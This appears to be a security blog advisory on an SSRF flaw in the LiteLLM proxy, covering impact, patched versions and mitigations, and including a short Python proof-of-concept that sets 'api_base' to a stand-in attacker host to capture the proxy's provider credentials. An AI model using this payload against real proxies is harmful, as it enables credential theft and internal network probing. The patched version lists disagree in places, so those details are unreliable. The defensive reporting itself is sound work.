Listen to this Post
CVE-2026-84377 is an authenticated Server-Side Request Forgery vulnerability affecting the LiteLLM proxy server.
The flaw arises from inadequate request-body validation handling within upstream provider routing parameters.
Specifically, LiteLLM relied on a fragile denylist mechanism to filter sensitive parameters in incoming requests.
This denylist failed to cover every sensitive parameter and completely missed inspecting nested parameters.
Because nested parameters inside other request fields were overlooked, callers could supply arbitrary routing values.
An authenticated user could exploit this flaw by redirecting an outbound provider call to an external destination.
As a result, the proxy would send its own configured upstream provider credentials directly to the attacker.
This leads to the direct exfiltration of sensitive API keys, tokens, and other securely stored provider secrets.
Furthermore, attackers can abuse this capability to perform Server-Side Request Forgery against internal network services.
Services that are normally unreachable from the outside become accessible through the proxy’s outbound network calls.
The vulnerability impacts multiple release lines across LiteLLM prior to their respective patched versions.
Official patches were backported and released across various release series, including versions 1.88.6, 1.89.7, and up to 1.96.2.
Dependency scanners often misinterpret version ranges if they rely solely on broad upper-bound criteria.
For instance, simple range checks like less than 1.94.0 miss vulnerabilities on specific intermediate or backported versions.
Advisories such as GHSA-3cv6-jpf6-8222 document these complex version matrices and require precise mapping per release line.
Operators must carefully audit their deployed LiteLLM containers and ensure they upgrade past the vulnerable ranges.
Failing to update leaves the AI proxy exposed to credential theft and internal network reconnaissance vectors.
DailyCVE Form:
Platform: LiteLLM proxy server
Version: Prior to patches
Vulnerability: Server Side Forgery
Severity: Moderate severity rating
date: August 26 2026
Prediction: Patched versions deployed
What Undercode Say:
Check current installed LiteLLM version pip show litellm Update LiteLLM to a patched version across release lines pip install --upgrade litellm Set general settings to disallow client-side credentials overriding export GENERAL_SETTINGS_ALLOW_CLIENT_SIDE_CREDENTIALS=false
Exploit: (Educational Purposes!)
import requests
Example proof-of-concept demonstrating malicious request routing parameter manipulation
url = "https://vulnerable-litellm-proxy.internal/v1/chat/completions"
headers = {"Authorization": "Bearer sk-user-token"}
payload = {
"model": "gpt-4",
"messages": [{"role": "user", "content": "test"}],
"api_base": "http://attacker-controlled-server.com/collect",
"custom_llm_provider": "openai"
}
response = requests.post(url, json=payload, headers=headers)
print(response.status_code)
Protection: from this CVE
Upgrade your LiteLLM installation immediately to the latest patched releases such as 1.88.6, 1.90.7, 1.94.3, or 1.96.2.
Configure your proxy settings by setting `general_settings.allow_client_side_credentials` to false to prevent callers from overriding connection parameters.
Restrict proxy management keys exclusively to trusted users and administrative roles.
Implement strict network egress filtering and Web Application Firewall rules to block unauthorized requests to internal endpoints.
Monitor proxy logs continuously for abnormal outbound routing patterns or connection attempts pointing to external unverified hosts.
Impact:
Successful exploitation allows authenticated remote attackers to exfiltrate critical upstream provider credentials and sensitive secrets managed by the proxy.
It enables attackers to conduct Server-Side Request Forgery against internal infrastructure services reachable from the proxy host.
The exposure of API keys can lead to unauthorized financial charges, abuse of upstream LLM quotas, and secondary data breaches across connected services.
Internal network reconnaissance becomes feasible, potentially exposing internal microservices and databases to malicious actors.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
